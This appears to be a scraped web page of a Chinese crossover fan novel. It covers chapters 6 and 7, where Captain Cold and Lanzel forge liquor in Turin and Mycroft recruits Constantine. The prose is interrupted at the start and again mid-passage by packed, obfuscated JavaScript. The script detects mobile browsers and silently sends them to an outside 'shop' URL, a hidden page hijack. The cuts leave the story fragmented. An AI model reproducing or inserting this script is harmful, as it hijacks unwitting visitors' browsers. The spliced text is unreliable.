RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185138|197001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样的——降下硫磺和天火烧光两座城池,杀死整个埃及所有的长子。相比之下,把罗德只是回头想看一眼家的家人变成盐柱这种事都算是小打小闹了。” “……”寒冷队长无比希望兰泽尔只是在胡扯,倒不是因为天使在他心中的形象破灭,而是他觉得当下的世道已经够乱的了,完全不需要再多这么一群杀人不眨眼的天使来火上浇油。 水“呜”地一声烧开,寒冷队长下意识地回身泡咖啡,心里还在疑虑兰泽尔说的这些牛鬼神魔的事究竟是真是假,都没注意到自己给兰泽尔也泡了一杯。 端着咖啡走到客厅,半途中他才反应过来:“……” 算了。都走到这儿了,难道还特地端着折回去倒掉? 他不怎么温柔地将咖啡杯搁到兰泽尔面前:“喝。喝完就出发,按照计划接着做。我们不知道小范科具体哪一天来,也许明天他就——” “这是什么?”兰泽尔看着茶杯满脸嫌恶,“我知道这是咖啡。我的意思是,你干什么给我泡这个?只有怂货才会喝这种没劲的东西,明白吗?真正的战士,就应当喝最烈的酒!” 寒冷队长:“……”他就应该特地端着折回去倒掉。 兰泽尔坚决拒绝怂货饮品,原本还想在沙发上赖着的心情也没了,直接站起身:“走吧。我带你去香料工厂。” · 寒冷队长此前从没来过意大利,但兰泽尔显然来过。他对都灵这座城市熟悉到哪个犄角旮旯里藏着最香的热狗、哪条长街卖最绵密的冰淇淋都一清二楚,前往香料工厂的路上,寒冷队长硬生生吃撑了。 “范科家族以伪造假酒起家,迄今为止,伪造、出售名酒仍是他们的核心产业之一。”兰泽尔叼着第三只冰淇淋甜筒,一边舔一边含糊地说,“别看不起这门生意——一瓶仿制得不错的名酒如果操作得当,能在拍卖行卖出几百万美金的高价。二十瓶假酒就足以让整个家族即使一整年不开张,也吃喝不愁。” “我对香料一无所知。”寒冷队长皱着眉,特意不去看兰泽尔。他这会儿撑到哪怕只是看兰泽尔炫甜品,都感觉想吐:“如果你想用伪造假酒的技术吸引小范科,让小范科招募我们进入范科家族,我帮不上任何忙。所以你最好别告诉我就跟之前没钱订房间一样,这一步也是需要我们即兴发挥的——” “当然不,”兰泽尔露出被冒犯的神情,张开手臂,“你在开玩笑吗?我可是酿酒之神!” “……”寒冷队长抬起眼,还记着出门前兰泽尔给他打开的新世界大门,不禁有些谨慎地问,“这是某种修辞手法还是……” “当然是修辞手法,别把狄俄尼索斯跟我相提并论。”兰泽尔满脸嫌弃地收回手,敲开地下香料工厂的大门。 不管之前有没有吹过牛,兰泽尔说自己精通酿酒绝不是吹嘘的。 寒冷队长一路跟在兰泽尔身后,似懂非懂地听着兰泽尔和工厂方的对话,看着周围琳琅满目的香料,心中甚至隐隐升起了几分对兰泽尔过往的好奇。 他很想知道,兰泽尔曾经究竟做过些什么?为什么对酿酒如此熟稔?为什么养成现在这种猫嫌狗弃的混账性格?总拿在手里的那枚银币究竟是什么? 还有那一长列的名单。如果兰泽尔并不是在随意发癫,那那张名单下,究竟藏着怎样的目的? 他猜不透,完全猜不透。 好奇心是生物与生俱来的本能。如果对于普通人来说,求生欲总能及时压抑下不合时宜的好奇心,那对于他们这种本就享受在生死一线上体验惊险的人来讲,好奇心简直是最无法抗拒的致命诱惑。 兰泽尔并没有注意到身后的寒冷队长正隐晦地向自己投来探究的眼神,他早已习惯这种目光。 迅速且高效地完成和工厂方的交易,兰泽尔又带着寒冷队长光顾了另几家酿酒器材的供货源,结束采购时,也不过才晚上十一点。 “不不,”兰泽尔横挡在自己的宝贝老婆面前,示意寒冷队长自己找车放材料,“别想把那些满是味道的玩意儿往我的阿波罗上塞,随便找辆面包车,你把这些东西运回去。” “……”寒冷队长但凡能对兰泽尔升起半分好感,都会在短短几分钟内又被兰泽尔败光,“那你呢?别告诉我你还想在外面浪。” 兰泽尔一脸理所当然的笑了一声,表情相当恼人:“我才刚跟新老婆建立感情,总得多跑几公里跟她深入磨合一下吧?行了,你回你的,我磨合我的。明早套房见!” 没给寒冷队长留任何反对的气口,兰泽尔一屁股坐进阿波罗里,关上车门。咆哮的引擎声浪霎时涌起,推搡着他如同利刃般冲进都灵的夜色。 没有开过跑车的人大概很难理解震耳的声浪究竟有什么迷人之处,也无法理解车速提到极致时,那种在生死边缘行走,挑衅引诱死亡的快感。 肾上腺素急速分泌,各种因危机和死亡的迫近而产生的激素混杂成近似于高潮的快感,能够令人短暂地忘却所有烦心的事。 等到兰泽尔终于一脚踩下刹车时,他浑身都出了一层酣畅的薄汗。带着极限运动过后的轻盈心情,兰泽尔拉下手刹,愉悦地摸出手机,准备刷一刷阿波罗的今日新闻。 阿波罗evo这款车型并不普遍,全世界也不过10台。现在他拥有了2台,相当于一个人独占了五分之—— 兰泽尔的亢奋在看清新弹出的拍卖行新闻后骤然刹车。 下一刻,他不敢置信地猛然一滑手机屏幕,戳开那辆新流入拍卖行的阿波罗evo的实拍照片。 车内静了一秒。两秒。 足足十秒的鸦雀无声后,兰泽尔一拳砸上方向盘,弓背低喝:“Fuck you,Mycroft!” 6. 第 6 章 与此同时,山鹰瞭望台,总统套房内。 “什么?”寒冷队长皱着眉,拿着手机和天气巫师通话,“你说在你的记忆里,我根本不是被人劫走的?” “对啊!有什么问题吗?”天气巫师感到很奇怪,“一开始我们是以为遇到神经病了,但那个劫匪拿枪抵着你出来以后,你俩突然同时一笑,然后你就转身给了那家伙一个结结实实的拥抱,最后跟我们说这只是个玩笑!” “……玩笑。”寒冷队长重复,感觉自己像在听天方夜谭。 天气巫师完全没注意到寒冷队长不祥的语气,继续仿佛很有逻辑地说:“对啊!然后你跟我们说,你有要紧事得跟朋友办大概要离开中心城一段时间,让我们没事别打扰你。不然我后面怎么会为了金色滑翔者随意打你电话,如果我知道你被人绑架了的话?” “再退一万步说——我们怎么会在你被当众绑架之后连一道追责复仇的声明都不发?不要作为超级反派的脸面了吗?” “……” 比起脸面,不然还是先要点脑子吧。寒冷队长心平气和地想。 也许这就是每一个有责任心的上司注定的命运,三不五时为自己下属的脑容量感到担忧: “你们没看地方台新闻?如果我真的在珠宝店就告诉你们我没事,只是和老朋友开玩笑,你们为什么要当众跑出珠宝店,对着那么多人大喊我被绑架了?生怕不够丢脸吗?” 天气巫师感到委屈:“我们当然怀疑了这是不是有问题!我们还开了个会讨论了这个——记忆和新闻不一致,那就意味着总有一个是假的,对吧?所以我后来不是给你打电话确认了吗!” “你接通了,而且一上来就质问是不是我们又惹了什么麻烦,我当然就觉得你没出事,多半是你那个朋友不想留案底,所以搞乱了在场所有人的记忆……” 别说,听天气巫师这么一分析,还真是挺有理有据。如果自己不是被绑架的当事人,寒冷队长都要信服了。 他揉了一下脸:“不。我的确是被绑走了。那家伙弄乱了你们的记忆,大概是不希望你们追踪……” 奇怪。他和兰泽尔相处的这段时间里,对方完全没有展现任何特殊能力,除了让一枚硬币发亮。 篡改记忆真的是兰泽尔做的吗?如果是,为什么来到意大利后,对方还要绕那么大的圈子,又是去赌场筹钱订房,又是筹备伪造名酒,只为了能跟小范科搭上线? 直接变更小范科的记忆不是更方?也更有威慑力?让他意识到反抗多半会变成无用功? ——也许兰泽尔还有一个同伴。 一道思绪忽地掠过寒冷队长的脑海。 也许这个同伴的确有着干扰记忆的能力,但现在肯定已经不在兰泽尔身边了。 不然兰泽尔肯定会直接让同伴解决小范科,而不是跟他一起辛辛苦苦地在意大利跑来跑去——兰泽尔不是那种没苦硬吃的性格,对方很乐于享受。 好奇心又丝丝缕缕地冒了出来,让寒冷队长忍不住想: 这个同伴是不是就是兰泽尔说的旧旅伴? 为什么对方会和兰泽尔拆伙?又为什么在拆伙之后,依旧在给兰泽尔扫尾?毕竟电视台的新闻都播出了,这意味着那个同伴很可能是在看到珠宝店的动乱后,才特意跑来给兰泽尔扫尾的。 “……大?嘿!哈罗?嘿!”天气巫师的声音将寒冷队长从探究中拽了出来。 他后知后觉地意识到自己正在做什么——对敌人产生好奇。 这可不是什么好事——毕竟好奇就意味着探究,探究就意味着了解,了解就意味着产生牵扯……而有些事,在产生牵扯后,会变得难做起来。 寒冷队长果断地切割掉了这份不合时宜的好奇,冷静简短地下达指令:“暂停接下来半个月内的一切计划,让所有人安静待命,别出去找事。如果一切顺利,我会在半个月后带着丽莎回来——” “呃……那那个绑架你的人呢?”天气巫师说实话还有点摸不着头脑,虽然老大是说自己被绑架了,但看这个接电话、打电话都很自由的状态,也不像个肉票啊! 寒冷队长瞥了眼客厅里的那堆器材:“现在还有用得到他的地方。等接回丽莎,我会亲手杀死他。” 他的确不喜欢随意滥杀,但那不代表他是个畏惧开枪的孬种。阻碍他的人,与他结仇的人,他对这些人扣下扳机时不会有任何犹豫。 天气巫师:“好吧,到时候需要我们去接应——” “咚!!” 套房房门突然被人重重撞开。 寒冷队长的心跳错漏了一拍,手指瞬间下滑掐断了电话。但即使再做贼心虚,他面上依旧风轻云淡,稳稳地坐在沙发上没动,甚至还嫌弃地蹙了一下眉宇:“你又发什么疯。” “我老婆!!”兰泽尔的目光从寒冷队长的脸上掸过一眼,就知道对方有在背着自己琢磨着小九九,但他并不在意。他满脑子想得都是:“他居然这么做!!他明知道我老婆对我来说有多重要,他怎么可以想卖掉我老婆?!” “……”一旁推着桶车路过的保洁员们不禁侧目而视,步子都忍不住放缓了。 寒冷队长一阵头晕目眩,有种好不容易放出门的比格又冲回来wer wer的错觉。 赶在有人误以为真出现贩.卖人口的案件前,他不得不起身把兰泽尔拉进门,一边冲保洁员尴尬笑着解释“他说的是车,他有点……恋车情结”,一边飞快关上门:“你不能小点声吗?” “什么?!?”兰泽尔更加大声,倍感受伤,这可比他之前看出寒冷队长在打他算盘时要委屈多了,“有混账想卖掉我的老婆,而你叫我小声点儿?!” “……”寒冷队长被声浪冲击得微微后仰。 考虑到现在不顺毛捋,可能邪恶比格将会wer一晚上,其实比较偏好安静独处的寒冷队长不得不承担起心理咨询师的责任,示意兰泽尔坐到沙发边慢慢说:“好吧。谁想卖你的车?你们认识?” “我们当然认识,”兰泽尔充满愤怒地说,“我们认识24年了!每天早晨醒来的第一声招呼就是对彼此打的,每天晚上的最后一句晚安也是对彼此说的,他了解我就像了解另一半灵魂,他怎么能干出这么过分的事?!我们一起度过的最后一个晚上,他想趁着我睡觉的时候给我注射能害死我的东西,我都没有追究他的责任——” “等等,等等,”寒冷队长捕捉到有什么很不对的东西在最后掺了进去,“你说他想给你注射能害死你的东西是什么意思??等等……你让我捋一下。” “?”兰泽尔冲着寒冷队长摊开手,意思是根本不知道你有什么好捋的,“你会不会抓住重点,我说这混蛋想卖我的老婆!” 寒冷队长才觉得兰泽尔不会抓住重点,幸好兰泽尔不是他的下属,不然他听完这会儿都要开始头晕目眩了——虽然他现在也没少因为兰泽尔头大:“我知道,我知道。但我还是想知道,你说你们认识24年,每天互道早安晚安,你们是什么?发小?” 兰泽尔的眼珠向左上角转了一下,思考说:“能算……半个?我从他7岁时就一直跟着他,但他……好吧,我得说我7岁的时候,他的祖先大概都还没出现。” “……”本来只是想敷衍了事的寒冷队长不由自主地挪了下坐姿,短暂地遗忘了几分钟前才想的“好奇心没有好处”,“你这话是……夸张的修辞手法还是什么?” “真话,没有半点夸张。”兰泽尔并不介意向寒冷队长透露这些。 事实上这么多年以来第一次向旁人倾吐这些,反倒让他升起了几分谈兴:“我第一次遇见他的时候,他还是个满头卷毛的小胖墩,身边没有一个朋友。我每天陪他说话,陪他看各种他喜欢的枯燥无味的书,给他讲愚蠢的睡前故事虽然他不喜欢这个——” “然而他想给你注射能害死你的东西。”寒冷队长还是很在意这个重点,“等等,他不会是……你之前说的那个前旅伴吧?” “你说过你习惯了身边有另一个人陪着,又说你每天都陪在他身边陪了24年……所以他想睡你,又趁着你睡觉想给你注射毒药?” 大概是因为有一个总爱谈渣男的妹妹,寒冷队长对此类故事相当接受无能。他已经回忆起听见天气巫师说“嘿!寒冷,你妹最近又谈了新男友”的心梗感了。 兰泽尔哼唧了一会:“大差不差吧。” 寒冷队长深呼吸了一口气:“拜托告诉我你们掰了。——不,不。你知道吗?这不重要。你陪他度过了24年,哪怕那车是那个人买的,它也属于你。他不能擅自卖掉它。我们得想个法子炸掉那辆车——” “等等等等!”兰泽尔这个当事人聊着聊着都冷静下来了,没想到寒冷队长这个旁听者居然上起了头。他伸手压住寒冷队长的胸膛,把人按坐回去:“炸掉那辆车?那是我老婆!” 寒冷队长:“你老婆就要被那个混账卖给其他人使用了!炸了它!让那个混账知道,属于你的东西,他一根指头都别想沾手!” “呃……”兰泽尔感到骑虎难下地舔了下嘴唇,“你冷静一下,听我说。其实他也没有你想的这么混蛋,好吗?” “……”寒冷队长缓缓地、无声地用了吸了一口气。 兰泽尔挠了下脑袋,有点不能理解怎么到最后变成他这个诉苦的人反过来安慰寒冷队长了:“而且我还想要那辆车的。听我说,我有个别的办法解决这件事——如果你愿意帮忙的话。” 五分钟后。 寒冷队长抱着笔记本电脑坐在沙发上,木着脸侵入老福尔摩斯夫妇的手机,确保两位老人一连网就能看见阿波罗被拍卖的新闻:“……这就是你想出来的办法?” 见鬼。他都想建议兰泽尔把渣男连着车一块炸了,结果兰泽尔想到的办法就是给渣男父母告小状? 怎么的,还想接着谈呢? 兰泽尔倒是觉得这办法一劳永逸,已经扯掉上衣打着赤膊,带着护目镜开始炮制酿酒的木桶了:“对……想想这有多完美。” 他弓着腰,绷紧的肩背和侧腰肌肉漂亮结实,充满贲张的力量感,像随时亟待发起进攻的白鲨:“我们不需要炸掉我老婆……麦考夫会挨一场骂……并且以后他父母都不可能允许他再碰我的阿波罗……我老婆会百分百安全。” 他直起身,打量了一下橡木桶的细节:“嘿!别光说我了。我也很好奇,这看起来不像是你妹第一次给你惹祸上身了,你怎么还没跟她断掉关系,甚至为了她跟我签订契约?” 还窝着一肚子火,想骂恋爱脑的寒冷队长顿时一卡,突然意识到自己其实是在五十步笑百步。但他觉得自己跟兰泽尔还是不一样的,他有更加深厚复杂的理由,兰泽尔那纯粹就是犯蠢:“丽莎小时候很擅长花滑。” 兰泽尔哼了一声:“然后呢?这跟你现在还心甘情愿跟在她身后给她收拾烂摊子有什么关系?” 寒冷队长其实并不那么想跟兰泽尔——或是任何人分享这些事,迄今为止这都是他没跟任何人聊过的话题。 正想拒绝,兰泽尔忽然头也不回地往他手里塞了一小杯用现有原材料调出的威士忌。 “尝尝。”兰泽尔的语气很随意,甚至塞完酒就接着弓回去捯饬他的橡木桶了,仿佛并不在意寒冷队长回不回答,“这杯的口感应该和12年的勃朗格威士忌差不多,没有醇厚的陈旧感,但果香四溢,清爽干脆。苹果、桃子……尝尝,我能向你保证,这会比正品更好入口。” “……”寒冷队长绷着脸,过了一会才低头抿了口琥珀色的酒液。 下一瞬,他几乎和味蕾一起浑身一个激灵,爽利的酒香像把冰凉的小刀,破开迸裂饱满的果香,一路用刀面暧昧又隐晦地贴着喉管蔓延下去,及至胃中才散开一股如同泡在暖汤中的、火辣辣的暖意。 兰泽尔听到身后的吞咽声,抽空回头,冲寒冷队长炫耀似的挑了下眉,那意思是怎么样? “仿酒的过程就是要不停地喝酒,对比正品和仿品间的差别。你最好做好准备,因为接下来可有一场硬仗要打。” 大概是兰泽尔高超的酿酒技巧让试饮变成了一场纯粹的享受,寒冷队长几乎没意识到接下来他又喝了多少杯酒。 那些酒液都装在很小的试饮量杯中,一杯都不够他一口的,来来去去,等他头昏脑涨地和兰泽尔一个人瘫在沙发上,一个人瘫在地摊上时,他感觉自己浑身上下都浸透着一股勾着馋虫的果酒香:“我……我讨厌你,你知道吗?” 兰泽尔仰躺在地摊上,发出一连串含糊得像鱼吐泡似的声音。过了会才道:“我知道。很奇怪……有人居然会觉得,自己能在横扫赌场的老赌手面前藏好微表情。但你猜怎么着?你……你不是唯一一个想杀我的人。” “哼。”寒冷队长哼唧了一声,差点把酒从喉管里哼出来。他猛然坐起身缓了会劲,才“嘭”地一声又倒回沙发上:“对……我知道。那个……谁?麦考夫?他……他也想杀你。” “不——!”兰泽尔拖长声音,在地毯上锤了寒冷队长一掌,差点没把好不容易缓过来的寒冷队长又打吐,“他不是……他没打算杀我。” “森莫?”寒冷队长口齿不清地说着,用力费劲地翻侧过身,“你说……他想给你注射毒药。” “不是毒药……是他的血!”兰泽尔打哈欠,“他也许以为……那东西能帮我变成……变回以前的自己。但那不对。他是被骗了……他是被误导……唔!” 兰泽尔手脚并用地爬起来,跌撞去卫生间吐去了。没等他倾倒完库存,门口又传来寒冷队长的敲门声。 两个人有什么抱什么,吐得天昏地暗,等此起彼伏的作呕声告一段落,寒冷队长才顶着吐红了的鼻子眼睛,有些郁闷低落地说:“你知道么?我觉得……我妹妹也被人骗了。” “我还记得当我们都还小的时候,她在冰面上飞……她多可爱!美丽!像个小叮当!你知道那个会洒金粉的小仙子对吧?《彼得潘》里那个?她就是……完美。” “她说等她长大后,她会参加多多的比赛,拿奥林匹克奖牌……然后她会用所有奖金去买一间新房,搬离我们的父亲……你见过她的眼睛吗?它们就是……它们就像会闪光。我不知道发生了什么,为什么她从某天起忽然变成现在这样,不停地和一堆混账约会……视那些野男人比家人更重要……我只是想——” 寒冷队长似乎哽咽了一下:“我只是觉得,我从前那个妹妹,也许还在哪个地方藏着,你明白吗?我不能——呼……” 寒冷队长垂下头,喘了几口气,半晌抬起头。他瘫坐在地上蹬了一下腿,踹了兰泽尔一脚:“你那个麦考夫呢?他的眼睛也会……闪光吗?” “闪光?Puff.”兰泽尔的噗气声里充满了“得了吧”的意味,“他不会——不,他不会。大多数时候,他都是在担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185139|197001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任那个……让其他人的眼睛能继续闪亮的角色。” 寒冷队长哼了一声:“听起来人还不错?所以你……你还不想跟他闹翻脸是因为什么?” 兰泽尔盯着瓷砖认真回忆了一阵,这有点难,因为他大脑正沉浸在醉意里,拒绝开动:“因为……哦!他替我解开了封印。” “想给我注射血?那并不出于他的本意。但让我重获自由?那是他发自真心所想的。” 兰泽尔拍皮球似的拍了拍寒冷队长的肚子:“他是个正直的好人,你明白吗?离开他,欺瞒他……我才是这段关系里的那个混账。” “……?”寒冷队长感觉自己的大脑凝滞得像一团浆糊,完全捋不清逻辑,只能当下想到什么问什么,“你就不能……不做这个混账吗?” “不能——”兰泽尔皱起脸拉长声音,“有些事就是明知道混账,但还是必须去做的。” 他顿下来想了会,自我肯定地点头道:“我得去做。我想要去做。” “比……和正直的好人在一起更想?”寒冷队长皱着眉头,使劲试图运转大脑。 兰泽尔又盯着瓷砖吹了一会刘海,然后猛然抬头,认真点头:“对。” “嗯……”寒冷队长严肃地看他。渐渐地,两个醉汉的脑袋越来越近,本来就不怎么智慧的眼神也越发斗鸡眼。直到“咚”地一声撞在一起,两个人才吃痛,“嗷”地一声向后倒去,又不知道被戳中了哪个莫名其妙的笑点,捂着脑袋傻了吧唧地笑起来。 寒冷队长甚至笑出了眼泪:“我都不知道——我都不知道你们俩到底谁才是混蛋了!我的头要裂了!”他又忽然发现新大陆似的坐起身,严肃地说,“又或许……你们都是混蛋。” 兰泽尔想了一会,深以为然地点头:“你说的对。我们都是混蛋。” 他翻过身,瘫开四肢,看向头顶环绕着小丘比特的蓝色穹顶,喃喃:“我们都是混蛋。” ——与此同时,英国皇家海军特训营。 麦考夫在康斯坦丁的别墅前站了许久,终于举步跨入门槛。 他行走的步伐从未这么轻过,仿佛跟随没有着落的心一道漂浮在未知的黑暗中。 他不知道兰泽尔会对拍卖的公告做什么反应。如果就像他最不愿去想的可能性那样,过去他所认识的兰泽尔都是虚假的呢? 那么漫长的时光……延续了他几乎整个人生的陪伴和纠葛,如果只是为了利用他打开封印,他要怎么做? 他该怎么做? 他真的能按照理性给出的答案做到底吗? 他又走神了一瞬,再回过神时已经站在康斯坦丁床前,想用来唤醒对方的黑雨伞虚悬着,伞尖半晌没能敲上地面。 “唔?”床上的被褥动了一下,刚睡着没多久的康斯坦丁隐约感觉有人正站在自己床头边,霎时被吓得惊跳而起,看到西装革履的麦考夫的瞬间,差点以为看到了死神:“我不在你的名单……福尔摩斯先生?——哦天!” 康斯坦丁一屁股坐回床上,揉着头发抱怨:“我几乎以为我逃脱死亡太多次,死亡骑士亲自来收割我了!你跑来我这儿做什么?不知道现在已经……”康斯坦丁看了一下钟,更加理由充分地找场子,“已经凌晨了!什么人会穿着一身黑西装闯到别人家里,站到床头故意吓人?你这个混账!” 麦考夫慢半拍地放下已经不需要的伞,听见自己的声音正以有些怪异的语调说:“计划有变。我抛下了一份诱饵,我想抓的神明随时可能现身。我需要你做好准备——” “等一下,等一下。”康斯坦丁单手撑了一会额头,似乎在怀疑自己是不是脑子还没清醒,不然麦考夫这个行事逻辑他怎么捋不清楚呢? “你找上我,还有麦肯上将,是为了让我们将你训练成能够亲自抓捕目标的人,对吧?所以……按理来说,你应该在训练结束再洒饵才对?那你为什么现在就洒饵?” ——因为他急需确认兰泽尔是不是自始至终都在演戏,只为了欺骗自己帮忙解开封印。 他没法等待。不能,也不想。 但确认之后呢? 如果就是最差的那个可能性呢? 麦考夫抓住黑伞的竹柄,意识到即使脑海中能浮现出无数解决兰泽尔的方式,但没有一个是他愿意用的。 如果就是最差的那个可能性呢? 他想。这世上既然能有一座谢林福德关住他的妹妹,那应当也会有第二座谢林福德能关住兰泽尔。 即使没有,那这世上第一座囚牢也是人建起来的。 麦考夫倏然收回视线,重新挂起礼貌但浮于表面的微笑:“我需要根据兰泽尔的反应,确定接下来的计划。如果他是敌人,我也许会考虑引入英国记录者协会参与抓捕,如果他——” 一阵重金属摇滚骤然响起,激得还有点困意的康斯坦丁一个激灵。 在康斯坦丁错愕的注视下,麦考夫从他笔挺整洁的西装中摸出手机,看了一眼号码后立即转身走开了几步,接通电话:“妈妈?” “你这个愚蠢的小子!”老福尔摩斯夫人恼火中掺带着不可置信的声音从另一端传来,“为什么我们的手机刚打开就在首页新闻上看见你打算卖掉兰泽尔的车?!” “跟我说实话,兰泽尔不在你身边是不是你们发生什么矛盾了?什么样的矛盾能让你气到卖他的车?我知道那是你出钱买的,但把送出去的礼物拿回来,还特地转卖掉?这完全不是你的作风!” “听着……迈克。我无法想象你现在正在经历什么,让你这么……这样做。但我知道你有多恋旧。我知道你能允许一个人跨入你的社交圈、和我们见面,有多特别。所以以防你日后懊悔——而且作为你的母亲,我知道你绝对会后悔,我希望你能尝试一下,去将对你来说如此特别的人争取回来。这车就停在我的农场,除了兰泽尔本人,没人能开走它。听明白了吗?” “……”麦考夫拿着手机,有那么几秒纹丝未动。 紧跟着,就坐在麦考夫身后床上的康斯坦丁能清晰看到,这位就连站姿都讲究的福尔摩斯先生忽然多出了一连串小动作。 他并不能想象麦考夫此时的心情—— 卓越的头脑令麦考夫不需要花多长时间,就意识到拍卖公告能出现在父母的手机新闻首页并不正常。比起他强迫自己考虑到的“兰泽尔因愤怒伤人,以示威胁”、“兰泽尔炸毁转卖的阿波罗”这些最糟糕的可能性,兰泽尔最终的选择却是向他的父母告状。 向父母告状。哈! 麦考夫几乎想笑了。之前悬空的心骤然触到了坚实的地面,腾然变成了颗轻盈的气球,几乎承载着他的肉.体一道轻飘飘地飞起来。 “呃……福尔摩斯?”康斯坦丁搓了搓手臂,感觉三月份这个晚上还是挺冷的,“你打完电话了没?我们——” “没事了。”麦考夫转过身,几乎克制不住自己变得轻盈放松的肢体动作,“睡吧。没事了。” “什么??”康斯坦丁简直莫名其妙,看着麦考夫大步迈出他房间的背影,“等等!计划呢?英国记录者协会呢?” “忘了吧。”麦考夫脚下一转,无比体贴地替康斯坦丁带上房门,“睡个好觉。” 大半夜被人闹起来,又被人抛下的康斯坦丁穿着条短裤,支棱着腿在床上:“?” 康斯坦丁:“??” 康斯坦丁:“操!福尔摩斯!” 7. 第 7 章 重重倒回床上时,康斯坦丁还以为剩下的半个晚上自己注定失眠,但事实上他的脑袋才挨上覆盖着羊绒的枕头没两分钟,他就迅速在柔软的包裹中睡得四仰八叉。 隔天早上起床时,他心情沉重地盯着不知道什么牌子、但绝对很贵的枕头看了半天,最终还是坚定地转过脸,放弃了偷枕头的念头。 我,康斯坦丁。即使其他人不相信,但我也是有格调这种东西的。康斯坦丁一边套裤子一边高洁地想。 也许在今天之前,我是觉得为了一个有趣的故事报效一下祖国无伤大雅,但经历过昨晚的恶劣对待,还是让该死的政府官员吃屎去吧!我今天就要离开—— 一股烤熏肉肠和薯条的香气混杂着酒香传入鼻翼,康斯坦丁裤子系到一半,忍不住舔了下嘴唇,高洁的思想迅速滑坡:“谁在客厅?给我留杯酒,我刷个牙。” 他加速穿好衣服,胡乱洗漱了一下。习惯性地叼着烟晃荡出门,就见该死的政府官员已经换了一身迷彩服,正姿态松弛随意地交叠着长腿,坐在桌边看报。 “……”康斯坦丁疑惑了一秒怎么这种丑衣服穿在福尔摩斯身上也自带一股位高权重的气场的,下一秒就不客气地拖开椅子坐下,一边够椰蓉面包,一边毫不吃人嘴软地说,“我要走人了。只过了一晚上,也许我现在赶回爱尔兰,还能接着跟罗威娜——” 报纸“哗啦”一响,被麦考夫放下。 昨晚回别墅的时候,麦考夫就有预料到康斯坦丁可能会辞行,不然以他的社会化程度,根本不可能热情到一大早就让人准备一大桌美食去拜访一个陌生人。 此时他好整以暇地微笑着,状似赞同地说:“你当然可以这么做。但在你离开前,我必须得告诉你一个情报——关于兰泽尔。” “你之前问过我是怎么和一对6岁不到的兄弟封印他的?事实上——你说的对。”麦考夫迎着康斯坦丁抬起的视线,“和我一起封印兰泽尔的,不是可能连乘除法都做不明白的温彻斯特兄弟,是31岁,从未来回到过去,只为了封印兰泽尔的温彻斯特兄弟。” “……”康斯坦丁大嚼熏肉肠的动作逐渐停了下来,忽然感觉面前这一桌美食都不香了,“……什么?” 麦考夫推开报纸,调整了一下坐姿——康斯坦丁在心里大骂了一句装货,这种时候了还要拗个坐姿,福尔摩斯家是打小就有不优雅就会挨雷劈的祖训吗: “如果你我之前得到的情报不假,那对美国的温彻斯特兄弟今年的确31岁,并且他们有足够的实力打开地狱的大门,那就意味着不论他们的立场如何——” “他们人好极了。”康斯坦丁插话,“纯洁得像两朵会因为被人利用打开地狱大门就自以为很邪恶,因此半夜掉眼泪的小白花。” “……”麦考夫微笑着颔首,接受康斯坦丁的补充,接着道,“这意味着兰泽尔的实力必然强大到足以让他们在焦头烂额之余,也一定要抽出时间回到过去提前封印。” “……”康斯坦丁彻底没了胃口,银叉“叮当”一声丢在餐盘上,“我不敢相信。” “我不敢相信……这么重要的情报,你却嘴巴紧闭直到现在才说?!你知道那对兄弟都在对付哪些敌人吗?那些能让他们想尽办法也要穿梭时间解决的敌人,不是吸血鬼狼人的始祖,就是米迦勒!路西法!你知道米迦勒路西法是谁吧?那是两台行走的杀人机器!人形灾难!” “兰泽尔是不同的。”麦考夫看似柔和的声音里总是传递着一种不容置疑的笃定,仿佛从他口中说出的话就是绝对正确的判定,“因为某些原因,他和我形影不离地相处过近24年——” “哦我的天。”康斯坦丁推开餐盘,从餐桌边站起来,“别告诉我你就是因为这24年如此笃定那玩意儿怀揣着一颗好心。你知道祂多大了吗?你知道你这24年对祂来说也许连厕间阅读的时间都算不上吗?这就能让你对祂如此坚信——你是什么?天天读浪漫小说的小姑娘吗?你觉得你是贝拉,祂是你的爱德华——” “我信任他是因为,”麦考夫微微加重语气打断康斯坦丁的话,脸上的微笑淡了大半,剩余那点表情更像无声的威迫,“在他假死脱身前,我曾试图给他注射我的血。” 室内安静了几秒。 半晌,本已举步要走人的康斯坦丁顿在原处:“什么?” 麦考夫盯着康斯坦丁的背影:“在我跟他……相处的这么长时间,我的确尝试过寻找他的真实身份,并且我得到了答案——请原谅。以防你听完答案就准备去对付他,我不会告诉你他的真实身份。” “但我可以这么说……他现在的模样——我是指他的性格、行事作风,和任何与他相关的民间传说都不同。” “我认为是漫长的封印扭曲了他的心性,所以一直在寻求能够让他找回本我的方法。直到数天前,我在一本古籍上找到了一种古老仪式。” “它说,给因外因陷入癫狂的非人类注入清醒者的血液,并辅以法阵和咒语,能够令疯癫者重新恢复清醒。所以我——” “你给祂注射了你的血。”康斯坦丁重复,转过身,蓝眼睛中杂糅着怀疑和思考,“你是在祂仍被封印的情况下这么做的?” “不。”麦考夫说,“我在六个月前就打破了封印。他身上除了一条GPS定位脚链,没有额外的防范措施,我每时每刻都把他带在身边——除了让他替我处理一些家务事的时候。” 康斯坦丁:“……” 康斯坦丁不愿相信:“什么样的家务事?” “去某座秘密监狱代我陪伴妹妹,带一些旅游手信给我的父母,在我父母突发奇想想看歌剧时陪他们在剧院坐牢……”麦考夫吟唱到一半,忽然意识到这些事在常人听起来或许挺过分的,令他听起来像一个不负责任的伴侣。但这点不妥下一秒就被他扫开了:这是他跟兰泽尔之间的事,和常人有什么关系?他和兰泽尔之间的联系本就不同寻常,一点小事让兰泽尔帮帮忙怎么了?左手替右手而已。 